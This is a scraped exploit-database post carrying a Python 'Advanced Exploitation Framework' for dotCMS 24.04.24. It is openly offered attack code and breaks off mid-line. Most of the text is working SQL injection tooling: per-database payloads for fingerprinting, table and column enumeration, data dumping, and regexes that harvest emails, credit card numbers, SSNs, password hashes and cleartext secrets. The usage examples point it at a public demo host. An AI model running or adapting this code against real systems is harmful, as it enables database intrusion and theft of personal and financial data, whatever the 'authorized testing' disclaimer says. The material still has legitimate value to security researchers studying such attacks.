{"id":30773,"date":"2025-12-12T11:58:44","date_gmt":"2025-12-12T11:58:44","guid":{"rendered":"http:\/\/localhost\/?p=30773"},"modified":"2025-12-12T11:58:44","modified_gmt":"2025-12-12T11:58:44","slug":"dotcms-240424-vulnerability-scanner","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30773","title":{"rendered":"\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner_PACKETSTORM:212770"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:30&#8243;,&#8221;description&#8221;:&#8221;dotCMS version 24.04.24 advanced exploitation python scanning script that looks for local file inclusion, data exposure, SQL injection, and more&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dotCMS 24.04.24 Vulnerability Scanner&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212770&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : dotCMS v24.04.24 lts v23 Advanced Exploitation Framework                                                                    |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/dotCMS\/core\/releases\/tag\/v24.04.24_lts_v23                                                               |\\n    =============================================================================================================================================\\n    \\n    [+] References : \\n    \\n    [+] Summary :  This Python-based framework is designed for authorized penetration testing of DotCMS applications. It provides a comprehensive exploitation workflow, including:\\n    \\n    Evidence Collection: Stores requests, responses, and screenshots in a SQLite database.\\n    \\n    Reconnaissance: Checks TLS\/SSL, analyzes CORS settings, and asynchronously discovers endpoints.\\n    \\n    Vulnerability Assessment: Performs advanced SQL Injection testing (Time-Based, Error-Based, Boolean-Based, Union-Based).\\n    \\n    Exploitation: Extracts user data, hunts for JWT tokens, and tests for file inclusion (LFI) vulnerabilities.\\n    \\n    Post-Exploitation: Dumps configuration files and identifies sensitive data leaks.\\n    \\n    Reporting: Generates detailed penetration testing reports and execution statistics.\\n    \\n    [+] Key Features:\\n    \\n    Asynchronous and synchronous scanning.\\n    \\n    PoC evidence storage and logging.\\n    \\n    Supports extraction of users, JWTs, and sensitive configuration files.\\n    \\n    Generates professional reports with recommendations.\\n    \\n    Legal-use enforcement with explicit authorization confirmation.\\n    \\t\\n    [+]  Usage :   * : Save as: poc.py\\n                       Run    : python poc.php -t 127.0.0.1\\n    \\t\\t\\t\\t   \\n    \\n    python3 poc.py -t https:\/\/demo.dotcms.com &#8211;full\\n    \\n    # Database Enumeration Only\\n    python3 poc.py -t https:\/\/demo.dotcms.com &#8211;database\\n    \\n    # Quick Scan\\n    python3 poc.py -t https:\/\/demo.dotcms.com &#8211;quick\\n    \\t\\n    [+]  POC :\\t\\n      \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    DotCMS Advanced Exploitation Framework &#8211; by indoushka\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import os\\n    import sys\\n    import json\\n    import time\\n    import re\\n    import argparse\\n    import hashlib\\n    import base64\\n    import sqlite3\\n    import asyncio\\n    import aiohttp\\n    import ssl\\n    import socket\\n    import csv\\n    from datetime import datetime\\n    from urllib.parse import urljoin, quote, urlparse\\n    from concurrent.futures import ThreadPoolExecutor, as_completed\\n    from colorama import init, Fore, Style, Back\\n    import warnings\\n    warnings.filterwarnings(\\&#8221;ignore\\&#8221;)\\n    \\n    init(autoreset=True)\\n    \\n    class EvidenceCollector:\\n        \\&#8221;\\&#8221;\\&#8221;Collects and stores PoC evidence\\&#8221;\\&#8221;\\&#8221;\\n        def __init__(self, target):\\n            self.target = target\\n            timestamp = datetime.now().strftime(&#8216;%Y%m%d_%H%M%S&#8217;)\\n            self.evidence_dir = f\\&#8221;evidence_{timestamp}\\&#8221;\\n            os.makedirs(self.evidence_dir, exist_ok=True)\\n            self.evidence_db = f\\&#8221;{self.evidence_dir}\/evidence.db\\&#8221;\\n            self.init_database()\\n            \\n        def init_database(self):\\n            conn = sqlite3.connect(self.evidence_db)\\n            cursor = conn.cursor()\\n            cursor.execute(&#8221;&#8217;\\n                CREATE TABLE IF NOT EXISTS evidence (\\n                    id INTEGER PRIMARY KEY,\\n                    timestamp TEXT,\\n                    vulnerability TEXT,\\n                    endpoint TEXT,\\n                    payload TEXT,\\n                    request TEXT,\\n                    response TEXT,\\n                    screenshot_path TEXT,\\n                    severity TEXT,\\n                    cvss_score REAL,\\n                    cwe_id INTEGER,\\n                    verified INTEGER DEFAULT 0\\n                )\\n            &#8221;&#8217;)\\n            cursor.execute(&#8221;&#8217;\\n                CREATE TABLE IF NOT EXISTS extracted_data (\\n                    id INTEGER PRIMARY KEY,\\n                    timestamp TEXT,\\n                    data_type TEXT,\\n                    data_value TEXT,\\n                    source TEXT,\\n                    hash TEXT\\n                )\\n            &#8221;&#8217;)\\n            conn.commit()\\n            conn.close()\\n        \\n        def add_evidence(self, vuln_type, endpoint, payload, request, response, severity=\\&#8221;High\\&#8221;, cvss=7.5, cwe=None):\\n            conn = sqlite3.connect(self.evidence_db)\\n            cursor = conn.cursor()\\n            \\n            screenshot = f\\&#8221;{self.evidence_dir}\/{vuln_type}_{datetime.now().strftime(&#8216;%H%M%S&#8217;)}.txt\\&#8221;\\n            with open(screenshot, &#8216;w&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                f.write(f\\&#8221;REQUEST:\\\\n{request}\\\\n\\\\nRESPONSE:\\\\n{response}\\&#8221;)\\n            \\n            cursor.execute(&#8221;&#8217;\\n                INSERT INTO evidence \\n                (timestamp, vulnerability, endpoint, payload, request, response, screenshot_path, severity, cvss_score, cwe_id)\\n                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\\n            &#8221;&#8217;, (datetime.now().isoformat(), vuln_type, endpoint, payload, request, response, \\n                  screenshot, severity, cvss, cwe))\\n            \\n            evidence_id = cursor.lastrowid\\n            conn.commit()\\n            conn.close()\\n            \\n            print(f\\&#8221;{Fore.GREEN}[+] Evidence recorded (ID: {evidence_id}) for {vuln_type}\\&#8221;)\\n            return evidence_id\\n    \\n    class DatabaseEnumerator:\\n        \\&#8221;\\&#8221;\\&#8221;Advanced database enumeration and dumping\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, exploiter):\\n            self.exploiter = exploiter\\n            self.db_info = {}\\n            self.tables = []\\n            self.columns = {}\\n            self.data_dumps = {}\\n            \\n        def identify_database(self, vulnerable_endpoint):\\n            \\&#8221;\\&#8221;\\&#8221;Identify database type and version\\&#8221;\\&#8221;\\&#8221;\\n            self.exploiter.log(\\&#8221;[*] Identifying database type&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            identification_payloads = {\\n                &#8216;MySQL&#8217;: [\\&#8221;&#8216; AND @@version like &#8216;%MySQL%&#8217;&#8211;\\&#8221;, \\&#8221;&#8216; AND SLEEP(2)&#8211;\\&#8221;],\\n                &#8216;PostgreSQL&#8217;: [\\&#8221;&#8216; AND version() like &#8216;%PostgreSQL%&#8217;&#8211;\\&#8221;, \\&#8221;&#8216; AND pg_sleep(2)&#8211;\\&#8221;],\\n                &#8216;MSSQL&#8217;: [\\&#8221;&#8216; AND @@version like &#8216;%Microsoft%&#8217;&#8211;\\&#8221;, \\&#8221;&#8216; AND WAITFOR DELAY &#8217;00:00:02&#8217;&#8211;\\&#8221;],\\n                &#8216;Oracle&#8217;: [\\&#8221;&#8216; AND (SELECT banner FROM v$version) like &#8216;%Oracle%&#8217;&#8211;\\&#8221;, \\n                          \\&#8221;&#8216; AND dbms_pipe.receive_message((&#8216;a&#8217;),2)&#8211;\\&#8221;]\\n            }\\n            \\n            for db_type, payloads in identification_payloads.items():\\n                for payload in payloads:\\n                    try:\\n                        start_time = time.time()\\n                        response = self.exploiter.session.get(\\n                            urljoin(self.exploiter.target, vulnerable_endpoint),\\n                            params={&#8216;filter&#8217;: payload},\\n                            timeout=10\\n                        )\\n                        elapsed = time.time() &#8211; start_time\\n                        \\n                        # Time-based detection\\n                        if &#8216;sleep&#8217; in payload.lower() or &#8216;waitfor&#8217; in payload.lower():\\n                            if elapsed \\u003e 1.5:\\n                                self.db_info[&#8216;type&#8217;] = db_type\\n                                self.exploiter.log(f\\&#8221;[+] Database identified as: {db_type}\\&#8221;, &#8216;success&#8217;)\\n                                break\\n                        \\n                        # Error\/response based detection\\n                        if db_type == &#8216;MySQL&#8217; and &#8216;MySQL&#8217; in response.text:\\n                            self.db_info[&#8216;type&#8217;] = db_type\\n                            break\\n                        elif db_type == &#8216;PostgreSQL&#8217; and &#8216;PostgreSQL&#8217; in response.text:\\n                            self.db_info[&#8216;type&#8217;] = db_type\\n                            break\\n                        elif db_type == &#8216;MSSQL&#8217; and &#8216;Microsoft&#8217; in response.text:\\n                            self.db_info[&#8216;type&#8217;] = db_type\\n                            break\\n                    \\n                    except Exception as e:\\n                        continue\\n                \\n                if &#8216;type&#8217; in self.db_info:\\n                    break\\n            \\n            if &#8216;type&#8217; not in self.db_info:\\n                self.exploiter.log(\\&#8221;[-] Could not identify database type\\&#8221;, &#8216;warning&#8217;)\\n                self.db_info[&#8216;type&#8217;] = &#8216;Unknown&#8217;\\n            \\n            # Try to get version\\n            self.get_database_version(vulnerable_endpoint)\\n            return self.db_info\\n        \\n        def get_database_version(self, vulnerable_endpoint):\\n            \\&#8221;\\&#8221;\\&#8221;Get database version\\&#8221;\\&#8221;\\&#8221;\\n            version_payloads = {\\n                &#8216;MySQL&#8217;: \\&#8221;&#8216; UNION SELECT @@version,NULL,NULL&#8211;\\&#8221;,\\n                &#8216;PostgreSQL&#8217;: \\&#8221;&#8216; UNION SELECT version(),NULL,NULL&#8211;\\&#8221;,\\n                &#8216;MSSQL&#8217;: \\&#8221;&#8216; UNION SELECT @@version,NULL,NULL&#8211;\\&#8221;,\\n                &#8216;Oracle&#8217;: \\&#8221;&#8216; UNION SELECT banner FROM v$version WHERE rownum=1&#8211;\\&#8221;\\n            }\\n            \\n            if self.db_info.get(&#8216;type&#8217;) in version_payloads:\\n                payload = version_payloads[self.db_info[&#8216;type&#8217;]]\\n                try:\\n                    response = self.exploiter.session.get(\\n                        urljoin(self.exploiter.target, vulnerable_endpoint),\\n                        params={&#8216;filter&#8217;: payload},\\n                        timeout=10\\n                    )\\n                    \\n                    # Extract version from response\\n                    version_patterns = [\\n                        r&#8217;\\\\d+\\\\.\\\\d+\\\\.\\\\d+&#8217;,\\n                        r&#8217;PostgreSQL \\\\d+\\\\.\\\\d+&#8217;,\\n                        r&#8217;Microsoft SQL Server \\\\d{4}&#8217;,\\n                        r&#8217;Oracle Database \\\\d+g&#8217;\\n                    ]\\n                    \\n                    for pattern in version_patterns:\\n                        match = re.search(pattern, response.text)\\n                        if match:\\n                            self.db_info[&#8216;version&#8217;] = match.group()\\n                            self.exploiter.log(f\\&#8221;[+] Database version: {self.db_info[&#8216;version&#8217;]}\\&#8221;, &#8216;success&#8217;)\\n                            break\\n                \\n                except Exception as e:\\n                    self.exploiter.log(f\\&#8221;[-] Failed to get version: {str(e)}\\&#8221;, &#8216;error&#8217;)\\n        \\n        def enumerate_tables(self, vulnerable_endpoint, limit=50):\\n            \\&#8221;\\&#8221;\\&#8221;Enumerate database tables\\&#8221;\\&#8221;\\&#8221;\\n            self.exploiter.log(f\\&#8221;[*] Enumerating database tables (limit: {limit})&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            table_payloads = {\\n                &#8216;MySQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT table_name,NULL,NULL FROM information_schema.tables LIMIT {limit}&#8211;\\&#8221;,\\n                    f\\&#8221;&#8216; UNION SELECT table_schema,table_name,NULL FROM information_schema.tables LIMIT {limit}&#8211;\\&#8221;\\n                ],\\n                &#8216;PostgreSQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT tablename,NULL,NULL FROM pg_tables LIMIT {limit}&#8211;\\&#8221;,\\n                    f\\&#8221;&#8216; UNION SELECT schemaname,tablename,NULL FROM pg_tables LIMIT {limit}&#8211;\\&#8221;\\n                ],\\n                &#8216;MSSQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT table_name,NULL,NULL FROM information_schema.tables&#8211;\\&#8221;,\\n                    f\\&#8221;&#8216; UNION SELECT table_schema,table_name,NULL FROM information_schema.tables&#8211;\\&#8221;\\n                ]\\n            }\\n            \\n            tables = []\\n            \\n            if self.db_info.get(&#8216;type&#8217;) in table_payloads:\\n                for payload in table_payloads[self.db_info[&#8216;type&#8217;]][:2]:\\n                    try:\\n                        response = self.exploiter.session.get(\\n                            urljoin(self.exploiter.target, vulnerable_endpoint),\\n                            params={&#8216;filter&#8217;: payload},\\n                            timeout=15\\n                        )\\n                        \\n                        # Extract table names &#8211; looking for patterns\\n                        table_patterns = [\\n                            r'[a-zA-Z_][a-zA-Z0-9_]*&#8217;,\\n                            r&#8217;user[s_]?&#8217;, r&#8217;admin[s_]?&#8217;, r&#8217;passw(or)?d&#8217;, r&#8217;credit&#8217;, r&#8217;account&#8217;,\\n                            r&#8217;customer&#8217;, r&#8217;client&#8217;, r&#8217;order&#8217;, r&#8217;transaction&#8217;, r&#8217;payment&#8217;,\\n                            r&#8217;config&#8217;, r&#8217;setting&#8217;, r&#8217;log&#8217;, r&#8217;audit&#8217;, r&#8217;session&#8217;,\\n                            r&#8217;token&#8217;, r&#8217;api&#8217;, r&#8217;key&#8217;, r&#8217;secret&#8217;\\n                        ]\\n                        \\n                        # Find potential table names\\n                        for pattern in table_patterns:\\n                            matches = re.findall(pattern, response.text, re.IGNORECASE)\\n                            for match in matches:\\n                                if len(match) \\u003e 3 and match.lower() not in [&#8216;null&#8217;, &#8216;select&#8217;, &#8216;union&#8217;, &#8216;from&#8217;]:\\n                                    if match not in tables:\\n                                        tables.append(match)\\n                                        if len(tables) \\u003e= limit:\\n                                            break\\n                            \\n                            if len(tables) \\u003e= limit:\\n                                break\\n                        \\n                        if tables:\\n                            break\\n                    \\n                    except Exception as e:\\n                        self.exploiter.log(f\\&#8221;[-] Table enumeration failed: {str(e)}\\&#8221;, &#8216;error&#8217;)\\n            \\n            # Clean and deduplicate\\n            tables = list(set([t for t in tables if isinstance(t, str)]))\\n            tables.sort()\\n            \\n            self.tables = tables[:limit]\\n            \\n            if self.tables:\\n                self.exploiter.log(f\\&#8221;[+] Found {len(self.tables)} potential tables:\\&#8221;, &#8216;success&#8217;)\\n                for i, table in enumerate(self.tables[:20], 1):\\n                    self.exploiter.log(f\\&#8221;  {i:2}. {table}\\&#8221;, &#8216;success&#8217;)\\n                \\n                # Save tables list\\n                with open(f\\&#8221;{self.exploiter.results_dir}\/database_tables.json\\&#8221;, &#8216;w&#8217;) as f:\\n                    json.dump(self.tables, f, indent=2)\\n            \\n            return self.tables\\n        \\n        def enumerate_columns(self, vulnerable_endpoint, table_name):\\n            \\&#8221;\\&#8221;\\&#8221;Enumerate columns for a specific table\\&#8221;\\&#8221;\\&#8221;\\n            self.exploiter.log(f\\&#8221;[*] Enumerating columns for table: {table_name}\\&#8221;, &#8216;info&#8217;)\\n            \\n            column_payloads = {\\n                &#8216;MySQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='{table_name}&#8217;&#8211;\\&#8221;,\\n                    f\\&#8221;&#8216; UNION SELECT column_name,data_type,NULL FROM information_schema.columns WHERE table_name='{table_name}&#8217;&#8211;\\&#8221;\\n                ],\\n                &#8216;PostgreSQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='{table_name}&#8217;&#8211;\\&#8221;,\\n                    f\\&#8221;&#8216; UNION SELECT column_name,data_type,NULL FROM information_schema.columns WHERE table_name='{table_name}&#8217;&#8211;\\&#8221;\\n                ],\\n                &#8216;MSSQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='{table_name}&#8217;&#8211;\\&#8221;\\n                ]\\n            }\\n            \\n            columns = []\\n            \\n            if self.db_info.get(&#8216;type&#8217;) in column_payloads:\\n                for payload in column_payloads[self.db_info[&#8216;type&#8217;]][:2]:\\n                    try:\\n                        response = self.exploiter.session.get(\\n                            urljoin(self.exploiter.target, vulnerable_endpoint),\\n                            params={&#8216;filter&#8217;: payload},\\n                            timeout=15\\n                        )\\n                        \\n                        # Look for column name patterns\\n                        column_patterns = [\\n                            r'[a-zA-Z_][a-zA-Z0-9_]*&#8217;,\\n                            r&#8217;user&#8217;, r&#8217;pass&#8217;, r&#8217;email&#8217;, r&#8217;name&#8217;, r&#8217;address&#8217;,\\n                            r&#8217;phone&#8217;, r&#8217;credit&#8217;, r&#8217;card&#8217;, r&#8217;account&#8217;,\\n                            r&#8217;token&#8217;, r&#8217;session&#8217;, r&#8217;key&#8217;, r&#8217;secret&#8217;,\\n                            r&#8217;salary&#8217;, r&#8217;price&#8217;, r&#8217;amount&#8217;, r&#8217;balance&#8217;,\\n                            r&#8217;birth&#8217;, r&#8217;ssn&#8217;, r&#8217;social&#8217;, r&#8217;security&#8217;,\\n                            r&#8217;ip&#8217;, r&#8217;mac&#8217;, r&#8217;device&#8217;, r&#8217;browser&#8217;\\n                        ]\\n                        \\n                        for pattern in column_patterns:\\n                            matches = re.findall(pattern, response.text, re.IGNORECASE)\\n                            for match in matches:\\n                                if len(match) \\u003e 2 and match.lower() not in [&#8216;null&#8217;, &#8216;select&#8217;, &#8216;union&#8217;, &#8216;from&#8217;, &#8216;where&#8217;]:\\n                                    if match not in columns:\\n                                        columns.append(match)\\n                        \\n                        if columns:\\n                            break\\n                    \\n                    except Exception as e:\\n                        self.exploiter.log(f\\&#8221;[-] Column enumeration failed: {str(e)}\\&#8221;, &#8216;error&#8217;)\\n            \\n            # Clean and deduplicate\\n            columns = list(set([c for c in columns if isinstance(c, str)]))\\n            columns.sort()\\n            \\n            self.columns[table_name] = columns\\n            \\n            if columns:\\n                self.exploiter.log(f\\&#8221;[+] Found {len(columns)} potential columns for {table_name}:\\&#8221;, &#8216;success&#8217;)\\n                for i, col in enumerate(columns[:15], 1):\\n                    self.exploiter.log(f\\&#8221;  {i:2}. {col}\\&#8221;, &#8216;success&#8217;)\\n            \\n            return columns\\n        \\n        def dump_table_data(self, vulnerable_endpoint, table_name, columns=None, limit=100):\\n            \\&#8221;\\&#8221;\\&#8221;Dump data from specific table\\&#8221;\\&#8221;\\&#8221;\\n            self.exploiter.log(f\\&#8221;[*] Dumping data from table: {table_name} (limit: {limit})\\&#8221;, &#8216;info&#8217;)\\n            \\n            if not columns and table_name in self.columns:\\n                columns = self.columns[table_name]\\n            \\n            if not columns:\\n                self.exploiter.log(f\\&#8221;[-] No columns found for table {table_name}\\&#8221;, &#8216;warning&#8217;)\\n                columns = [&#8216;*&#8217;]\\n            \\n            # Build column string\\n            if columns == [&#8216;*&#8217;]:\\n                col_string = &#8216;*&#8217;\\n            else:\\n                # Take first 5 columns for initial dump\\n                col_string = &#8216;,&#8217;.join(columns[:5])\\n            \\n            dump_payloads = {\\n                &#8216;MySQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT {col_string} FROM {table_name} LIMIT {limit}&#8211;\\&#8221;,\\n                    f\\&#8221;&#8216; UNION SELECT CONCAT_WS(&#8216;|&#8217;,{col_string}) FROM {table_name} LIMIT {limit}&#8211;\\&#8221;\\n                ],\\n                &#8216;PostgreSQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT {col_string} FROM {table_name} LIMIT {limit}&#8211;\\&#8221;,\\n                    f\\&#8221;&#8216; UNION SELECT {col_string}||&#8217;|&#8217; FROM {table_name} LIMIT {limit}&#8211;\\&#8221;\\n                ],\\n                &#8216;MSSQL&#8217;: [\\n                    f\\&#8221;&#8216; UNION SELECT {col_string} FROM {table_name}&#8211;\\&#8221;,\\n                    f\\&#8221;&#8216; UNION SELECT {col_string}+&#8217;|&#8217; FROM {table_name}&#8211;\\&#8221;\\n                ]\\n            }\\n            \\n            dumped_data = []\\n            \\n            if self.db_info.get(&#8216;type&#8217;) in dump_payloads:\\n                for payload in dump_payloads[self.db_info[&#8216;type&#8217;]][:2]:\\n                    try:\\n                        response = self.exploiter.session.get(\\n                            urljoin(self.exploiter.target, vulnerable_endpoint),\\n                            params={&#8216;filter&#8217;: payload},\\n                            timeout=20\\n                        )\\n                        \\n                        # Extract data &#8211; look for structured patterns\\n                        data_patterns = [\\n                            # Email patterns\\n                            r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\\\.[a-zA-Z]{2,}&#8217;,\\n                            # Phone numbers\\n                            r'[\\\\+]?[(]?[0-9]{3}[)]?[-\\\\s\\\\.]?[0-9]{3}[-\\\\s\\\\.]?[0-9]{4,6}&#8217;,\\n                            # Credit cards\\n                            r&#8217;\\\\b(?:\\\\d[ -]*?){13,16}\\\\b&#8217;,\\n                            # Dates\\n                            r&#8217;\\\\d{1,2}[\/-]\\\\d{1,2}[\/-]\\\\d{2,4}&#8217;,\\n                            # URLs\\n                            r&#8217;https?:\/\/[^\\\\s\\u003c\\u003e\\&#8221;\\\\&#8217;]+&#8217;,\\n                            # IP addresses\\n                            r&#8217;\\\\b(?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\b&#8217;,\\n                            # Social security\\n                            r&#8217;\\\\d{3}-\\\\d{2}-\\\\d{4}&#8217;,\\n                            # Passwords\/Hashes\\n                            r&#8217;\\\\$2[ay]\\\\$\\\\d+\\\\$[a-zA-Z0-9.\/]+&#8217;,  # bcrypt\\n                            r'[a-fA-F0-9]{32}&#8217;,  # MD5\\n                            r'[a-fA-F0-9]{40}&#8217;,  # SHA1\\n                            r'[a-fA-F0-9]{64}&#8217;,  # SHA256\\n                        ]\\n                        \\n                        # Also look for pipe-separated data (common in dumps)\\n                        lines = response.text.split(&#8216;\\\\n&#8217;)\\n                        for line in lines:\\n                            if &#8216;|&#8217; in line and len(line.strip()) \\u003e 5:\\n                                parts = line.split(&#8216;|&#8217;)\\n                                if len(parts) \\u003e= len(columns[:5]):\\n                                    record = {}\\n                                    for i, part in enumerate(parts[:len(columns[:5])]):\\n                                        if i \\u003c len(columns[:5]):\\n                                            record[columns[i] if i \\u003c len(columns) else f&#8217;col_{i}&#8217;] = part.strip()\\n                                    if record:\\n                                        dumped_data.append(record)\\n                            \\n                            # Look for patterns\\n                            for pattern in data_patterns:\\n                                matches = re.findall(pattern, line)\\n                                for match in matches:\\n                                    if len(match) \\u003e 3:\\n                                        if not any(match in str(d) for d in dumped_data):\\n                                            dumped_data.append({&#8216;extracted_data&#8217;: match, &#8216;source&#8217;: line[:50]})\\n                        \\n                        if dumped_data:\\n                            break\\n                    \\n                    except Exception as e:\\n                        self.exploiter.log(f\\&#8221;[-] Data dump failed: {str(e)}\\&#8221;, &#8216;error&#8217;)\\n            \\n            # Save dumped data\\n            if dumped_data:\\n                self.data_dumps[table_name] = dumped_data[:limit]\\n                \\n                # Save to JSON\\n                json_file = f\\&#8221;{self.exploiter.results_dir}\/dump_{table_name}.json\\&#8221;\\n                with open(json_file, &#8216;w&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                    json.dump(dumped_data, f, indent=2, default=str)\\n                \\n                # Save to CSV if structured data\\n                csv_file = f\\&#8221;{self.exploiter.results_dir}\/dump_{table_name}.csv\\&#8221;\\n                try:\\n                    if all(isinstance(d, dict) for d in dumped_data):\\n                        keys = set()\\n                        for record in dumped_data:\\n                            keys.update(record.keys())\\n                        \\n                        with open(csv_file, &#8216;w&#8217;, newline=&#8221;, encoding=&#8217;utf-8&#8242;) as f:\\n                            writer = csv.DictWriter(f, fieldnames=list(keys))\\n                            writer.writeheader()\\n                            writer.writerows(dumped_data)\\n                except:\\n                    pass\\n                \\n                self.exploiter.log(f\\&#8221;[+] Dumped {len(dumped_data)} records from {table_name}\\&#8221;, &#8216;success&#8217;)\\n                self.exploiter.log(f\\&#8221;[+] Data saved to: {json_file}\\&#8221;, &#8216;success&#8217;)\\n                \\n                # Display sample\\n                self.exploiter.log(f\\&#8221;[*] Sample data from {table_name}:\\&#8221;, &#8216;info&#8217;)\\n                for i, record in enumerate(dumped_data[:3], 1):\\n                    self.exploiter.log(f\\&#8221;  Record {i}: {str(record)[:100]}&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            return dumped_data\\n        \\n        def search_cleartext_data(self, vulnerable_endpoint, search_terms=None):\\n            \\&#8221;\\&#8221;\\&#8221;Search for cleartext sensitive data across database\\&#8221;\\&#8221;\\&#8221;\\n            self.exploiter.log(\\&#8221;[*] Searching for cleartext sensitive data&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            if not search_terms:\\n                search_terms = [\\n                    &#8216;password&#8217;, &#8216;passwd&#8217;, &#8216;pwd&#8217;, &#8216;secret&#8217;, &#8216;token&#8217;, &#8216;key&#8217;,\\n                    &#8216;credit&#8217;, &#8216;card&#8217;, &#8216;account&#8217;, &#8216;ssn&#8217;, &#8216;social&#8217;, &#8216;security&#8217;,\\n                    &#8216;salary&#8217;, &#8216;income&#8217;, &#8216;balance&#8217;, &#8216;address&#8217;, &#8216;phone&#8217;,\\n                    &#8217;email&#8217;, &#8216;username&#8217;, &#8216;login&#8217;, &#8216;admin&#8217;, &#8216;root&#8217;\\n                ]\\n            \\n            found_data = {}\\n            \\n            for term in search_terms:\\n                self.exploiter.log(f\\&#8221;[*] Searching for: {term}\\&#8221;, &#8216;info&#8217;)\\n                \\n                search_payloads = {\\n                    &#8216;MySQL&#8217;: [\\n                        f\\&#8221;&#8216; UNION SELECT table_name,column_name,NULL FROM information_schema.columns WHERE column_name LIKE &#8216;%{term}%&#8217;&#8211;\\&#8221;,\\n                        f\\&#8221;&#8216; UNION SELECT CONCAT(table_name,&#8217;.&#8217;,column_name),NULL,NULL FROM information_schema.columns WHERE column_name LIKE &#8216;%{term}%&#8217;&#8211;\\&#8221;\\n                    ],\\n                    &#8216;PostgreSQL&#8217;: [\\n                        f\\&#8221;&#8216; UNION SELECT table_name,column_name,NULL FROM information_schema.columns WHERE column_name LIKE &#8216;%{term}%&#8217;&#8211;\\&#8221;\\n                    ],\\n                    &#8216;MSSQL&#8217;: [\\n                        f\\&#8221;&#8216; UNION SELECT table_name,column_name,NULL FROM information_schema.columns WHERE column_name LIKE &#8216;%{term}%&#8217;&#8211;\\&#8221;\\n                    ]\\n                }\\n                \\n                if self.db_info.get(&#8216;type&#8217;) in search_payloads:\\n                    for payload in search_payloads[self.db_info[&#8216;type&#8217;]][:2]:\\n                        try:\\n                            response = self.exploiter.session.get(\\n                                urljoin(self.exploiter.target, vulnerable_endpoint),\\n                                params={&#8216;filter&#8217;: payload},\\n                                timeout=15\\n                            )\\n                            \\n                            # Look for table.column patterns\\n                            patterns = [\\n                                rf'{term}&#8217;,\\n                                rf'[a-zA-Z_][a-zA-Z0-9_]*{term}[a-zA-Z0-9_]*&#8217;,\\n                                rf'[a-zA-Z_][a-zA-Z0-9_]*\\\\.{term}[a-zA-Z0-9_]*&#8217;\\n                            ]\\n                            \\n                            for pattern in patterns:\\n                                matches = re.findall(pattern, response.text, re.IGNORECASE)\\n                                for match in matches:\\n                                    if match not in found_data:\\n                                        found_data[match] = term\\n                            \\n                            if term in found_data:\\n                                break\\n                        \\n                        except Exception as e:\\n                            continue\\n            \\n            # Try to extract actual data from found columns\\n            extracted_cleartext = {}\\n            \\n            for column_ref in found_data.keys():\\n                if &#8216;.&#8217; in column_ref:\\n                    table, column = column_ref.split(&#8216;.&#8217;, 1)\\n                    \\n                    # Try to extract data from this column\\n                    extract_payload = {\\n                        &#8216;MySQL&#8217;: f\\&#8221;&#8216; UNION SELECT {column} FROM {table} LIMIT 10&#8211;\\&#8221;,\\n                        &#8216;PostgreSQL&#8217;: f\\&#8221;&#8216; UNION SELECT {column} FROM {table} LIMIT 10&#8211;\\&#8221;,\\n                        &#8216;MSSQL&#8217;: f\\&#8221;&#8216; UNION SELECT {column} FROM {table}&#8211;\\&#8221;\\n                    }\\n                    \\n                    if self.db_info.get(&#8216;type&#8217;) in extract_payload:\\n                        try:\\n                            response = self.exploiter.session.get(\\n                                urljoin(self.exploiter.target, vulnerable_endpoint),\\n                                params={&#8216;filter&#8217;: extract_payload[self.db_info[&#8216;type&#8217;]]},\\n                                timeout=15\\n                            )\\n                            \\n                            # Look for non-hash, non-null values\\n                            lines = response.text.split(&#8216;\\\\n&#8217;)\\n                            for line in lines:\\n                                line = line.strip()\\n                                if (len(line) \\u003e 3 and \\n                                    len(line) \\u003c 100 and \\n                                    not line.startswith(&#8216;$2&#8242;) and  # Not bcrypt\\n                                    not re.match(r&#8217;^[a-fA-F0-9]{32,128}$&#8217;, line)):  # Not hash\\n                                    \\n                                    if column not in extracted_cleartext:\\n                                        extracted_cleartext[column] = []\\n                                    \\n                                    if line not in extracted_cleartext[column]:\\n                                        extracted_cleartext[column].append(line)\\n                        \\n                        except Exception as e:\\n                            continue\\n            \\n            # Save results\\n            if found_data or extracted_cleartext:\\n                results = {\\n                    &#8216;sensitive_columns&#8217;: found_data,\\n                    &#8216;cleartext_data&#8217;: extracted_cleartext\\n                }\\n                \\n                results_file = 